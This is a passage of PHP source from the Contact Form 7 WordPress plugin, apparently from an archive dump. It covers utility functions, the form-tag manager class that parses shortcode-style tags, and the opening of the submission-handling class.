	return path_join( WPCF7_PLUGIN_DIR, trim( $path, '/' ) );
}


/**
 * Returns the URL to a plugin file.
 *
 * @param string $path File path relative to the plugin root directory.
 * @return string URL.
 */
function wpcf7_plugin_url( $path = '' ) {
	$url = plugins_url( $path, WPCF7_PLUGIN );

	if ( is_ssl()
	and 'http:' == substr( $url, 0, 5 ) ) {
		$url = 'https:' . substr( $url, 5 );
	}

	return $url;
}


/**
 * Include a file under WPCF7_PLUGIN_MODULES_DIR.
 *
 * @param string $path File path relative to the module dir.
 * @return bool True on success, false on failure.
 */
function wpcf7_include_module_file( $path ) {
	$dir = WPCF7_PLUGIN_MODULES_DIR;

	if ( empty( $dir ) or ! is_dir( $dir ) ) {
		return false;
	}

	$path = path_join( $dir, ltrim( $path, '/' ) );

	if ( file_exists( $path ) ) {
		include_once $path;
		return true;
	}

	return false;
}


/**
 * Retrieves uploads directory information.
 *
 * @param string|bool $type Optional. Type of output. Default false.
 * @return array|string Information about the upload directory.
 */
function wpcf7_upload_dir( $type = false ) {
	$uploads = wp_get_upload_dir();

	$uploads = apply_filters( 'wpcf7_upload_dir', array(
		'dir' => $uploads['basedir'],
		'url' => $uploads['baseurl'],
	) );

	if ( 'dir' == $type ) {
		return $uploads['dir'];
	} if ( 'url' == $type ) {
		return $uploads['url'];
	}

	return $uploads;
}


/**
 * Verifies that a correct security nonce was used with time limit.
 *
 * @param string $nonce Nonce value that was used for verification.
 * @param string $action Optional. Context to what is taking place.
 *                       Default 'wp_rest'.
 * @return int|bool 1 if the nonce is generated between 0-12 hours ago,
 *                  2 if the nonce is generated between 12-24 hours ago.
 *                  False if the nonce is invalid.
 */
function wpcf7_verify_nonce( $nonce, $action = 'wp_rest' ) {
	return wp_verify_nonce( $nonce, $action );
}


/**
 * Creates a cryptographic token tied to a specific action, user, user session,
 * and window of time.
 *
 * @param string $action Optional. Context to what is taking place.
 *                       Default 'wp_rest'.
 * @return string The token.
 */
function wpcf7_create_nonce( $action = 'wp_rest' ) {
	return wp_create_nonce( $action );
}


/**
 * Converts multi-dimensional array to a flat array.
 *
 * @param mixed $input Array or item of array.
 * @return array Flatten array.
 */
function wpcf7_array_flatten( $input ) {
	if ( ! is_array( $input ) ) {
		return array( $input );
	}

	$output = array();

	foreach ( $input as $value ) {
		$output = array_merge( $output, wpcf7_array_flatten( $value ) );
	}

	return $output;
}


/**
 * Excludes unset or blank text values from the given array.
 *
 * @param array $input The array.
 * @return array Array without blank text values.
 */
function wpcf7_exclude_blank( $input ) {
	$output = array_filter( $input,
		static function ( $i ) {
			return isset( $i ) && '' !== $i;
		}
	);

	return array_values( $output );
}


/**
 * Creates a comma-separated list from a multi-dimensional array.
 *
 * @param mixed $input Array or item of array.
 * @param string|array $options Optional. Output options.
 * @return string Comma-separated list.
 */
function wpcf7_flat_join( $input, $options = '' ) {
	$options = wp_parse_args( $options, array(
		'separator' => ', ',
	) );

	$input = wpcf7_array_flatten( $input );
	$output = array();

	foreach ( (array) $input as $value ) {
		if ( is_scalar( $value ) ) {
			$output[] = trim( (string) $value );
		}
	}

	return implode( $options['separator'], $output );
}


/**
 * Returns true if HTML5 is supported.
 */
function wpcf7_support_html5() {
	return (bool) wpcf7_apply_filters_deprecated(
		'wpcf7_support_html5',
		array( true ),
		'5.6',
		''
	);
}


/**
 * Returns true if HTML5 fallback is active.
 */
function wpcf7_support_html5_fallback() {
	return (bool) apply_filters( 'wpcf7_support_html5_fallback', false );
}


/**
 * Returns true if the Really Simple CAPTCHA plugin is used for contact forms.
 */
function wpcf7_use_really_simple_captcha() {
	return apply_filters( 'wpcf7_use_really_simple_captcha',
		WPCF7_USE_REALLY_SIMPLE_CAPTCHA
	);
}


/**
 * Returns true if config validation is active.
 */
function wpcf7_validate_configuration() {
	return apply_filters( 'wpcf7_validate_configuration',
		WPCF7_VALIDATE_CONFIGURATION
	);
}


/**
 * Returns true if wpcf7_autop() is applied.
 */
function wpcf7_autop_or_not( $options = '' ) {
	$options = wp_parse_args( $options, array(
		'for' => 'form',
	) );

	return (bool) apply_filters( 'wpcf7_autop_or_not', WPCF7_AUTOP, $options );
}


/**
 * Returns true if JavaScript for this plugin is loaded.
 */
function wpcf7_load_js() {
	return apply_filters( 'wpcf7_load_js', WPCF7_LOAD_JS );
}


/**
 * Returns true if CSS for this plugin is loaded.
 */
function wpcf7_load_css() {
	return apply_filters( 'wpcf7_load_css', WPCF7_LOAD_CSS );
}


/**
 * Builds an HTML anchor element.
 *
 * @param string $url Link URL.
 * @param string $anchor_text Anchor label text.
 * @param string|array $atts Optional. HTML attributes.
 * @return string Formatted anchor element.
 */
function wpcf7_link( $url, $anchor_text, $atts = '' ) {
	$atts = wp_parse_args( $atts, array(
		'id' => null,
		'class' => null,
	) );

	$atts = array_merge( $atts, array(
		'href' => esc_url( $url ),
	) );

	return sprintf(
		'<a %1$s>%2$s</a>',
		wpcf7_format_atts( $atts ),
		esc_html( $anchor_text )
	);
}


/**
 * Returns the current request URL.
 */
function wpcf7_get_request_uri() {
	static $request_uri = '';

	if ( empty( $request_uri ) ) {
		$request_uri = add_query_arg( array() );
		$request_uri = '/' . ltrim( $request_uri, '/' );
	}

	return sanitize_url( $request_uri );
}


/**
 * Registers post types used for this plugin.
 */
function wpcf7_register_post_types() {
	if ( class_exists( 'WPCF7_ContactForm' ) ) {
		WPCF7_ContactForm::register_post_type();
		return true;
	} else {
		return false;
	}
}


/**
 * Returns the version string of this plugin.
 *
 * @param string|array $options Optional. Output options.
 * @return string Version string.
 */
function wpcf7_version( $options = '' ) {
	$options = wp_parse_args( $options, array(
		'limit' => -1,
		'only_major' => false,
	) );

	if ( $options['only_major'] ) {
		$options['limit'] = 2;
	}

	$options['limit'] = (int) $options['limit'];

	$ver = WPCF7_VERSION;
	$ver = strtr( $ver, '_-+', '...' );
	$ver = preg_replace( '/[^0-9.]+/', ".$0.", $ver );
	$ver = preg_replace( '/[.]+/', ".", $ver );
	$ver = trim( $ver, '.' );
	$ver = explode( '.', $ver );

	if ( -1 < $options['limit'] ) {
		$ver = array_slice( $ver, 0, $options['limit'] );
	}

	$ver = implode( '.', $ver );

	return $ver;
}


/**
 * Returns array entries that match the given version.
 *
 * @param string $version The version to search for.
 * @param array $input Search target array.
 * @return array|bool Array of matched entries. False on failure.
 */
function wpcf7_version_grep( $version, array $input ) {
	$pattern = '/^' . preg_quote( (string) $version, '/' ) . '(?:\.|$)/';

	return preg_grep( $pattern, $input );
}


/**
 * Returns an enctype attribute value.
 *
 * @param string $enctype Enctype value.
 * @return string Enctype value. Empty if not a valid enctype.
 */
function wpcf7_enctype_value( $enctype ) {
	$enctype = trim( $enctype );

	if ( empty( $enctype ) ) {
		return '';
	}

	$valid_enctypes = array(
		'application/x-www-form-urlencoded',
		'multipart/form-data',
		'text/plain',
	);

	if ( in_array( $enctype, $valid_enctypes ) ) {
		return $enctype;
	}

	$pattern = '%^enctype="(' . implode( '|', $valid_enctypes ) . ')"$%';

	if ( preg_match( $pattern, $enctype, $matches ) ) {
		return $matches[1]; // for back-compat
	}

	return '';
}


/**
 * Removes directory recursively.
 *
 * @param string $dir Directory path.
 * @return bool True on success, false on failure.
 */
function wpcf7_rmdir_p( $dir ) {
	if ( is_file( $dir ) ) {
		$file = $dir;

		if ( @unlink( $file ) ) {
			return true;
		}

		$stat = stat( $file );

		if ( @chmod( $file, $stat['mode'] | 0200 ) ) { // add write for owner
			if ( @unlink( $file ) ) {
				return true;
			}

			@chmod( $file, $stat['mode'] );
		}

		return false;
	}

	if ( ! is_dir( $dir ) ) {
		return false;
	}

	if ( $handle = opendir( $dir ) ) {
		while ( false !== ( $file = readdir( $handle ) ) ) {
			if ( $file == "."
			or $file == ".." ) {
				continue;
			}

			wpcf7_rmdir_p( path_join( $dir, $file ) );
		}

		closedir( $handle );
	}

	if ( false !== ( $files = scandir( $dir ) )
	and ! array_diff( $files, array( '.', '..' ) ) ) {
		return rmdir( $dir );
	}

	return false;
}


/**
 * Builds a URL-encoded query string.
 *
 * @link https://developer.wordpress.org/reference/functions/_http_build_query/
 *
 * @param array $data URL query parameters.
 * @param string $key Optional. If specified, used to prefix key name.
 * @return string Query string.
 */
function wpcf7_build_query( $data, $key = '' ) {
	$sep = '&';
	$ret = array();

	foreach ( (array) $data as $k => $v ) {
		$k = urlencode( $k );

		if ( ! empty( $key ) ) {
			$k = $key . '%5B' . $k . '%5D';
		}

		if ( null === $v ) {
			continue;
		} elseif ( false === $v ) {
			$v = '0';
		}

		if ( is_array( $v ) or is_object( $v ) ) {
			array_push( $ret, wpcf7_build_query( $v, $k ) );
		} else {
			array_push( $ret, $k . '=' . urlencode( $v ) );
		}
	}

	return implode( $sep, $ret );
}


/**
 * Returns the number of code units in a string.
 *
 * @link http://www.w3.org/TR/html5/infrastructure.html#code-unit-length
 *
 * @param string $text Input string.
 * @return int|bool The number of code units, or false if
 *                  mb_convert_encoding is not available.
 */
function wpcf7_count_code_units( $text ) {
	static $use_mb = null;

	if ( is_null( $use_mb ) ) {
		$use_mb = function_exists( 'mb_convert_encoding' );
	}

	if ( ! $use_mb ) {
		return false;
	}

	$text = (string) $text;
	$text = str_replace( "\r\n", "\n", $text );

	$encoding = mb_detect_encoding( $text, mb_detect_order(), true );

	if ( $encoding ) {
		$text = mb_convert_encoding( $text, 'UTF-16', $encoding );
	} else {
		$text = mb_convert_encoding( $text, 'UTF-16', 'UTF-8' );
	}

	$byte_count = mb_strlen( $text, '8bit' );

	return floor( $byte_count / 2 );
}


/**
 * Returns true if WordPress is running on the localhost.
 */
function wpcf7_is_localhost() {
	$sitename = wp_parse_url( network_home_url(), PHP_URL_HOST );
	return in_array( strtolower( $sitename ), array( 'localhost', '127.0.0.1' ) );
}


/**
 * Marks a function as deprecated and informs when it has been used.
 *
 * @param string $function_name The function that was called.
 * @param string $version The version of Contact Form 7 that deprecated
 *                        the function.
 * @param string $replacement The function that should have been called.
 */
function wpcf7_deprecated_function( $function_name, $version, $replacement ) {

	if ( ! WP_DEBUG ) {
		return;
	}

	if ( function_exists( '__' ) ) {
		/* translators: 1: PHP function name, 2: version number, 3: alternative function name */
		$message = __( 'Function %1$s is <strong>deprecated</strong> since Contact Form 7 version %2$s! Use %3$s instead.', 'contact-form-7' );
	} else {
		$message = 'Function %1$s is <strong>deprecated</strong> since Contact Form 7 version %2$s! Use %3$s instead.';
	}

	$message = sprintf( $message, $function_name, $version, $replacement );

	wp_trigger_error( '', $message, E_USER_DEPRECATED );
}


/**
 * Fires functions attached to a deprecated filter hook.
 *
 * @param string $hook_name The name of the filter hook.
 * @param array $args Array of additional function arguments to be
 *                    passed to apply_filters().
 * @param string $version The version of Contact Form 7 that deprecated
 *                        the hook.
 * @param string $replacement The hook that should have been used.
 */
function wpcf7_apply_filters_deprecated( $hook_name, $args, $version, $replacement = '' ) {
	if ( ! has_filter( $hook_name ) ) {
		return $args[0];
	}

	if ( WP_DEBUG and apply_filters( 'deprecated_hook_trigger_error', true ) ) {
		if ( $replacement ) {
			wp_trigger_error(
				'',
				sprintf(
					/* translators: 1: WordPress hook name, 2: version number, 3: alternative hook name */
					__( 'Hook %1$s is <strong>deprecated</strong> since Contact Form 7 version %2$s! Use %3$s instead.', 'contact-form-7' ),
					$hook_name,
					$version,
					$replacement
				),
				E_USER_DEPRECATED
			);
		} else {
			wp_trigger_error(
				'',
				sprintf(
					/* translators: 1: WordPress hook name, 2: version number */
					__( 'Hook %1$s is <strong>deprecated</strong> since Contact Form 7 version %2$s with no alternative available.', 'contact-form-7' ),
					$hook_name,
					$version
				),
				E_USER_DEPRECATED
			);
		}
	}

	return apply_filters_ref_array( $hook_name, $args );
}


/**
 * Marks something as being incorrectly called.
 *
 * @param string $function_name The function that was called.
 * @param string $message A message explaining what has been done incorrectly.
 * @param string $version The version of Contact Form 7 where the message
 *                        was added.
 */
function wpcf7_doing_it_wrong( $function_name, $message, $version ) {

	if ( ! WP_DEBUG ) {
		return;
	}

	if ( function_exists( '__' ) ) {
		if ( $version ) {
			$version = sprintf(
				/* translators: %s: Contact Form 7 version number. */
				__( '(This message was added in Contact Form 7 version %s.)', 'contact-form-7' ),
				$version
			);
		}

		wp_trigger_error(
			'',
			sprintf(
				/* translators: Developer debugging message. 1: PHP function name, 2: Explanatory message, 3: Contact Form 7 version number. */
				__( 'Function %1$s was called incorrectly. %2$s %3$s', 'contact-form-7' ),
				$function_name,
				$message,
				$version
			),
			E_USER_NOTICE
		);
	} else {
		if ( $version ) {
			$version = sprintf(
				'(This message was added in Contact Form 7 version %s.)',
				$version
			);
		}

		wp_trigger_error(
			'',
			sprintf(
				'Function %1$s was called incorrectly. %2$s %3$s',
				$function_name,
				$message,
				$version
			),
			E_USER_NOTICE
		);
	}
}


/**
 * Triggers an error about a remote HTTP request and response.
 *
 * @param string $url The resource URL.
 * @param array $request Request arguments.
 * @param array|WP_Error $response The response or WP_Error on failure.
 */
function wpcf7_log_remote_request( $url, $request, $response ) {

	if ( ! WP_DEBUG ) {
		return;
	}

	$log = sprintf(
		/* translators: 1: response code, 2: message, 3: body, 4: URL */
		__( 'HTTP Response: %1$s %2$s %3$s from %4$s', 'contact-form-7' ),
		(int) wp_remote_retrieve_response_code( $response ),
		wp_remote_retrieve_response_message( $response ),
		wp_remote_retrieve_body( $response ),
		$url
	);

	$log = apply_filters( 'wpcf7_log_remote_request',
		$log, $url, $request, $response
	);

	if ( $log ) {
		wp_trigger_error( '', $log, E_USER_NOTICE );
	}
}


/**
 * Anonymizes an IP address by masking local part.
 *
 * @param string $ip_addr The original IP address.
 * @return string|bool Anonymized IP address, or false on failure.
 */
function wpcf7_anonymize_ip_addr( $ip_addr ) {
	if ( ! function_exists( 'inet_ntop' )
	or ! function_exists( 'inet_pton' ) ) {
		return $ip_addr;
	}

	$packed = inet_pton( $ip_addr );

	if ( false === $packed ) {
		return $ip_addr;
	}

	if ( 4 == strlen( $packed ) ) { // IPv4
		$mask = '255.255.255.0';
	} elseif ( 16 == strlen( $packed ) ) { // IPv6
		$mask = 'ffff:ffff:ffff:0000:0000:0000:0000:0000';
	} else {
		return $ip_addr;
	}

	return inet_ntop( $packed & inet_pton( $mask ) );
}
contact-form-7/includes/form-tags-manager.php000064400000034354147510273060015150 0ustar00<?php

/**
 * Wrapper function of WPCF7_FormTagsManager::add().
 */
function wpcf7_add_form_tag( $tag_types, $callback, $features = '' ) {
	$manager = WPCF7_FormTagsManager::get_instance();

	return $manager->add( $tag_types, $callback, $features );
}


/**
 * Wrapper function of WPCF7_FormTagsManager::remove().
 */
function wpcf7_remove_form_tag( $tag_type ) {
	$manager = WPCF7_FormTagsManager::get_instance();

	return $manager->remove( $tag_type );
}


/**
 * Wrapper function of WPCF7_FormTagsManager::replace_all().
 */
function wpcf7_replace_all_form_tags( $content ) {
	$manager = WPCF7_FormTagsManager::get_instance();

	return $manager->replace_all( $content );
}


/**
 * Wrapper function of WPCF7_ContactForm::scan_form_tags().
 */
function wpcf7_scan_form_tags( $cond = null ) {
	$contact_form = WPCF7_ContactForm::get_current();

	if ( $contact_form ) {
		return $contact_form->scan_form_tags( $cond );
	}

	return array();
}


/**
 * Wrapper function of WPCF7_FormTagsManager::tag_type_supports().
 */
function wpcf7_form_tag_supports( $tag_type, $feature ) {
	$manager = WPCF7_FormTagsManager::get_instance();

	return $manager->tag_type_supports( $tag_type, $feature );
}


/**
 * The singleton instance of this class manages the collection of form-tags.
 */
class WPCF7_FormTagsManager {

	private static $instance;

	private $tag_types = array();
	private $scanned_tags = null; // Tags scanned at the last time of scan()
	private $placeholders = array();

	private function __construct() {}


	/**
	 * Returns the singleton instance.
	 *
	 * @return WPCF7_FormTagsManager The singleton manager.
	 */
	public static function get_instance() {
		if ( empty( self::$instance ) ) {
			self::$instance = new self;
		}

		return self::$instance;
	}


	/**
	 * Returns scanned form-tags.
	 *
	 * @return array Array of WPCF7_FormTag objects.
	 */
	public function get_scanned_tags() {
		return $this->scanned_tags;
	}


	/**
	 * Registers form-tag types to the manager.
	 *
	 * @param string|array $tag_types The name of the form-tag type or
	 *                     an array of the names.
	 * @param callable $callback The callback to generates a form control HTML
	 *                 for a form-tag in this type.
	 * @param string|array $features Optional. Features a form-tag
	 *                     in this type supports.
	 */
	public function add( $tag_types, $callback, $features = '' ) {
		if ( ! is_callable( $callback ) ) {
			return;
		}

		if ( true === $features ) { // for back-compat
			$features = array( 'name-attr' => true );
		}

		$features = wp_parse_args( $features, array() );

		$tag_types = array_filter( array_unique( (array) $tag_types ) );

		foreach ( $tag_types as $tag_type ) {
			$tag_type = $this->sanitize_tag_type( $tag_type );

			if ( ! $this->tag_type_exists( $tag_type ) ) {
				$this->tag_types[$tag_type] = array(
					'function' => $callback,
					'features' => $features,
				);
			}
		}
	}


	/**
	 * Returns true if the given tag type exists.
	 */
	public function tag_type_exists( $tag_type ) {
		return isset( $this->tag_types[$tag_type] );
	}


	/**
	 * Returns true if the tag type supports the features.
	 *
	 * @param string $tag_type The name of the form-tag type.
	 * @param array|string $features The feature to check or an array of features.
	 * @return bool True if the form-tag type supports at least one of
	 *              the given features, false otherwise.
	 */
	public function tag_type_supports( $tag_type, $features ) {
		$features = array_filter( (array) $features );

		if ( isset( $this->tag_types[$tag_type]['features'] ) ) {
			return (bool) array_intersect(
				array_keys( array_filter( $this->tag_types[$tag_type]['features'] ) ),
				$features
			);
		}

		return false;
	}


	/**
	 * Returns form-tag types that support the given features.
	 *
	 * @param array|string $features Optional. The feature to check or
	 *                     an array of features. Default empty array.
	 * @param bool $invert Optional. If this value is true, returns form-tag
	 *             types that do not support the given features. Default false.
	 * @return array An array of form-tag types. If the $features param is empty,
	 *               returns all form-tag types that have been registered.
	 */
	public function collect_tag_types( $features = array(), $invert = false ) {
		$tag_types = array_keys( $this->tag_types );

		if ( empty( $features ) ) {
			return $tag_types;
		}

		$output = array();

		foreach ( $tag_types as $tag_type ) {
			if ( ! $invert && $this->tag_type_supports( $tag_type, $features )
			|| $invert && ! $this->tag_type_supports( $tag_type, $features ) ) {
				$output[] = $tag_type;
			}
		}

		return $output;
	}


	/**
	 * Sanitizes the form-tag type name.
	 */
	private function sanitize_tag_type( $tag_type ) {
		$tag_type = preg_replace( '/[^a-zA-Z0-9_*]+/', '_', $tag_type );
		$tag_type = rtrim( $tag_type, '_' );
		$tag_type = strtolower( $tag_type );
		return $tag_type;
	}


	/**
	 * Deregisters the form-tag type.
	 */
	public function remove( $tag_type ) {
		unset( $this->tag_types[$tag_type] );
	}


	/**
	 * Normalizes the text content that includes form-tags.
	 */
	public function normalize( $content ) {
		if ( empty( $this->tag_types ) ) {
			return $content;
		}

		$content = preg_replace_callback(
			'/' . $this->tag_regex() . '/s',
			array( $this, 'normalize_callback' ),
			$content
		);

		return $content;
	}


	/**
	 * The callback function used within normalize().
	 */
	private function normalize_callback( $matches ) {
		// allow [[foo]] syntax for escaping a tag
		if ( $matches[1] == '['
		and $matches[6] == ']' ) {
			return $matches[0];
		}

		$tag = $matches[2];

		$attr = trim( preg_replace( '/[\r\n\t ]+/', ' ', $matches[3] ) );
		$attr = strtr( $attr, array( '<' => '&lt;', '>' => '&gt;' ) );

		$content = trim( $matches[5] );
		$content = str_replace( "\n", '<WPPreserveNewline />', $content );

		$result = $matches[1] . '[' . $tag
			. ( $attr ? ' ' . $attr : '' )
			. ( $matches[4] ? ' ' . $matches[4] : '' )
			. ']'
			. ( $content ? $content . '[/' . $tag . ']' : '' )
			. $matches[6];

		return $result;
	}


	/**
	 * Replace all form-tags in the given text with placeholders.
	 */
	public function replace_with_placeholders( $content ) {
		if ( empty( $this->tag_types ) ) {
			return $content;
		}

		$this->placeholders = array();

		$callback = function ( $matches ) {
			// Allow [[foo]] syntax for escaping a tag.
			if ( '[' === $matches[1] and ']' === $matches[6] ) {
				return $matches[0];
			}

			$tag = $matches[0];
			$tag_type = $matches[2];

			$block_or_hidden = $this->tag_type_supports(
				$tag_type,
				array( 'display-block', 'display-hidden' )
			);

			if ( $block_or_hidden ) {
				$placeholder_tag_name = WPCF7_HTMLFormatter::placeholder_block;
			} else {
				$placeholder_tag_name = WPCF7_HTMLFormatter::placeholder_inline;
			}

			$placeholder = sprintf(
				'<%1$s id="%2$s" />',
				$placeholder_tag_name,
				sha1( $tag )
			);

			list( $placeholder ) =
				WPCF7_HTMLFormatter::normalize_start_tag( $placeholder );

			$this->placeholders[$placeholder] = $tag;

			return $placeholder;
		};

		return preg_replace_callback(
			'/' . $this->tag_regex() . '/s',
			$callback,
			$content
		);
	}


	/**
	 * Replace placeholders in the given text with original form-tags.
	 */
	public function restore_from_placeholders( $content ) {
		return str_replace(
			array_keys( $this->placeholders ),
			array_values( $this->placeholders ),
			$content
		);
	}


	/**
	 * Replaces all form-tags in the text content.
	 *
	 * @param string $content The text content including form-tags.
	 * @return string The result of replacements.
	 */
	public function replace_all( $content ) {
		return $this->scan( $content, true );
	}


	/**
	 * Scans form-tags in the text content.
	 *
	 * @param string $content The text content including form-tags.
	 * @param bool $replace Optional. Whether scanned form-tags will be
	 *             replaced. Default false.
	 * @return array|string An array of scanned form-tags if $replace is false.
	 *                      Otherwise text that scanned form-tags are replaced.
	 */
	public function scan( $content, $replace = false ) {
		$this->scanned_tags = array();

		if ( empty( $this->tag_types ) ) {
			if ( $replace ) {
				return $content;
			} else {
				return $this->scanned_tags;
			}
		}

		if ( $replace ) {
			$content = preg_replace_callback(
				'/' . $this->tag_regex() . '/s',
				array( $this, 'replace_callback' ),
				$content
			);

			return $content;
		} else {
			preg_replace_callback(
				'/' . $this->tag_regex() . '/s',
				array( $this, 'scan_callback' ),
				$content
			);

			return $this->scanned_tags;
		}
	}


	/**
	 * Filters form-tags based on a condition array argument.
	 *
	 * @param array|string $input The original form-tags collection.
	 *                     If it is a string, scans form-tags from it.
	 * @param array $cond The conditions that filtering will be based on.
	 * @return array The filtered form-tags collection.
	 */
	public function filter( $input, $cond ) {
		if ( is_array( $input ) ) {
			$tags = $input;
		} elseif ( is_string( $input ) ) {
			$tags = $this->scan( $input );
		} else {
			$tags = $this->scanned_tags;
		}

		$cond = wp_parse_args( $cond, array(
			'type' => array(),
			'basetype' => array(),
			'name' => array(),
			'feature' => array(),
		) );

		$cond = array_map( static function ( $c ) {
			return array_filter( array_map( 'trim', (array) $c ) );
		}, $cond );

		$tags = array_filter(
			(array) $tags,
			function ( $tag ) use ( $cond ) {
				$tag = new WPCF7_FormTag( $tag );

				if ( $cond['type']
				and ! in_array( $tag->type, $cond['type'], true ) ) {
					return false;
				}

				if ( $cond['basetype']
				and ! in_array( $tag->basetype, $cond['basetype'], true ) ) {
					return false;
				}

				if ( $cond['name']
				and ! in_array( $tag->name, $cond['name'], true ) ) {
					return false;
				}

				foreach ( $cond['feature'] as $feature ) {
					if ( '!' === substr( $feature, 0, 1 ) ) { // Negation
						$feature = trim( substr( $feature, 1 ) );

						if ( $this->tag_type_supports( $tag->type, $feature ) ) {
							return false;
						}
					} else {
						if ( ! $this->tag_type_supports( $tag->type, $feature ) ) {
							return false;
						}
					}
				}

				return true;
			}
		);

		return array_values( $tags );
	}


	/**
	 * Returns the regular expression for a form-tag.
	 */
	private function tag_regex() {
		$tagnames = array_keys( $this->tag_types );
		$tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) );

		return '(\[?)'
			. '\[(' . $tagregexp . ')(?:[\r\n\t ](.*?))?(?:[\r\n\t ](\/))?\]'
			. '(?:([^[]*?)\[\/\2\])?'
			. '(\]?)';
	}


	/**
	 * The callback function for the form-tag replacement.
	 */
	private function replace_callback( $matches ) {
		return $this->scan_callback( $matches, true );
	}


	/**
	 * The callback function for the form-tag scanning.
	 */
	private function scan_callback( $matches, $replace = false ) {
		// allow [[foo]] syntax for escaping a tag
		if ( $matches[1] == '['
		and $matches[6] == ']' ) {
			return substr( $matches[0], 1, -1 );
		}

		$tag_type = $matches[2];
		$tag_basetype = trim( $tag_type, '*' );
		$attr = $this->parse_atts( $matches[3] );

		$scanned_tag = array(
			'type' => $tag_type,
			'basetype' => $tag_basetype,
			'raw_name' => '',
			'name' => '',
			'options' => array(),
			'raw_values' => array(),
			'values' => array(),
			'pipes' => null,
			'labels' => array(),
			'attr' => '',
			'content' => '',
		);

		if ( $this->tag_type_supports( $tag_type, 'singular' ) ) {
			$tags_in_same_basetype = $this->filter(
				$this->scanned_tags,
				array( 'basetype' => $tag_basetype )
			);

			if ( $tags_in_same_basetype ) {
				// Another tag in the same base type already exists. Ignore this one.
				return $matches[0];
			}
		}

		if ( $this->tag_type_supports( $tag_type, 'name-attr' ) ) {
			if ( ! is_array( $attr ) ) {
				return $matches[0]; // Invalid form-tag.
			}

			$scanned_tag['raw_name'] = (string) array_shift( $attr['options'] );

			if ( ! wpcf7_is_name( $scanned_tag['raw_name'] ) ) {
				return $matches[0]; // Invalid name is used. Ignore this tag.
			}

			$scanned_tag['name'] = strtr( $scanned_tag['raw_name'], '.', '_' );
		}

		if ( is_array( $attr ) ) {
			$scanned_tag['options'] = (array) $attr['options'];
			$scanned_tag['raw_values'] = (array) $attr['values'];

			if ( WPCF7_USE_PIPE ) {
				$pipes = new WPCF7_Pipes( $scanned_tag['raw_values'] );
				$scanned_tag['values'] = $pipes->collect_befores();
				$scanned_tag['pipes'] = $pipes;
			} else {
				$scanned_tag['values'] = $scanned_tag['raw_values'];
			}

			$scanned_tag['labels'] = $scanned_tag['values'];

		} else {
			$scanned_tag['attr'] = $attr;
		}

		$scanned_tag['values'] = array_map( 'trim', $scanned_tag['values'] );
		$scanned_tag['labels'] = array_map( 'trim', $scanned_tag['labels'] );

		$content = trim( $matches[5] );
		$content = preg_replace( "/<br[\r\n\t ]*\/?>$/m", '', $content );
		$scanned_tag['content'] = $content;

		$scanned_tag = apply_filters( 'wpcf7_form_tag', $scanned_tag, $replace );

		$scanned_tag = new WPCF7_FormTag( $scanned_tag );

		$this->scanned_tags[] = $scanned_tag;

		if ( $replace ) {
			$callback = $this->tag_types[$tag_type]['function'];
			return $matches[1] . call_user_func( $callback, $scanned_tag ) . $matches[6];
		} else {
			return $matches[0];
		}
	}


	/**
	 * Parses the attributes of a form-tag to extract the name,
	 * options, and values.
	 *
	 * @param string $text Attributes of a form-tag.
	 * @return array|string An associative array of the options and values
	 *                      if the input is in the correct syntax,
	 *                      otherwise the input text itself.
	 */
	private function parse_atts( $text ) {
		$atts = array( 'options' => array(), 'values' => array() );
		$text = preg_replace( "/[\x{00a0}\x{200b}]+/u", " ", $text );
		$text = trim( $text );

		$pattern = '%^([-+*=0-9a-zA-Z:.!?#$&@_/|\%\r\n\t ]*?)((?:[\r\n\t ]*"[^"]*"|[\r\n\t ]*\'[^\']*\')*)$%';

		if ( preg_match( $pattern, $text, $matches ) ) {
			if ( ! empty( $matches[1] ) ) {
				$atts['options'] = preg_split( '/[\r\n\t ]+/', trim( $matches[1] ) );
			}

			if ( ! empty( $matches[2] ) ) {
				preg_match_all( '/"[^"]*"|\'[^\']*\'/', $matches[2], $matched_values );
				$atts['values'] = wpcf7_strip_quote_deep( $matched_values[0] );
			}
		} else {
			$atts = $text;
		}

		return $atts;
	}

}
contact-form-7/includes/pocket-holder.php000064400000000505147510273060014370 0ustar00<?php

/**
 * Handy trait provides methods to handle dynamic properties.
 */
trait WPCF7_PocketHolder {

	protected $pocket = array();

	public function pull( $key ) {
		if ( isset( $this->pocket[$key] ) ) {
			return $this->pocket[$key];
		}
	}

	public function push( $key, $value ) {
		$this->pocket[$key] = $value;
	}

}
contact-form-7/includes/submission.php000064400000050475147510273060014036 0ustar00<?php

/**
 * Class representing contact form submission.
 */
class WPCF7_Submission {

	use WPCF7_PocketHolder;

	private static $instance;

	private $contact_form;
	private $status = 'init';
	private $posted_data = array();
	private $posted_data_hash = null;
	private $skip_spam_check = false;
	private $uploaded_files = array();
	private $extra_attachments = array();
	private $skip_mail = false;
	private $response = '';
	private $invalid_fields = array();
	private $meta = array();
	private $consent = array();
	private $spam_log = array();
	private $result_props = array();


	/**
	 * Returns the singleton instance of this class.
	 */
	public static function get_instance( $contact_form = null, $options = '' ) {
		if ( $contact_form instanceof WPCF7_ContactForm ) {
			if ( empty( self::$instance ) ) {
				self::$instance = new self( $contact_form, $options );
				self::$instance->proceed();
				return self::$instance;
			} else {
				return null;
			}
		} else {
			if ( empty( self::$instance ) ) {
				return null;
			} else {
				return self::$instance;
			}
		}
	}


	/**
	 * Returns true if this submission is created via WP REST API.
	 */
	public static function is_restful() {
		return wp_is_serving_rest_request();
	}


	/**
	 * Constructor.
	 */
	private function __construct( WPCF7_ContactForm $contact_form, $options = '' ) {
		$options = wp_parse_args( $options, array(
			'skip_mail' => false,
		) );

		$this->contact_form = $contact_form;
		$this->skip_mail = (bool) $options['skip_mail'];
	}


	/**
	 * Destructor.
	 */
	public function __destruct() {
		$this->remove_uploaded_files();
	}


	/**
	 * The main logic of submission.
	 */
	private function proceed() {

		$callback = function () {
			$contact_form = $this->contact_form;

			$this->setup_meta_data();
			$this->setup_posted_data();

			if ( $this->is( 'init' ) and ! $this->validate() ) {
				$this->set_status( 'validation_failed' );
				$this->set_response( $contact_form->message( 'validation_error' ) );
			}

			if ( $this->is( 'init' ) and ! $this->accepted() ) {
				$this->set_status( 'acceptance_missing' );
				$this->set_response( $contact_form->message( 'accept_terms' ) );
			}

			if ( $this->is( 'init' ) and $this->spam() ) {
				$this->set_status( 'spam' );
				$this->set_response( $contact_form->message( 'spam' ) );
			}

			if ( $this->is( 'init' ) and ! $this->unship_uploaded_files() ) {
				$this->set_status( 'validation_failed' );
				$this->set_response( $contact_form->message( 'validation_error' ) );
			}

			if ( $this->is( 'init' ) ) {
				$abort = ! $this->before_send_mail();

				if ( $abort ) {
					if ( $this->is( 'init' ) ) {
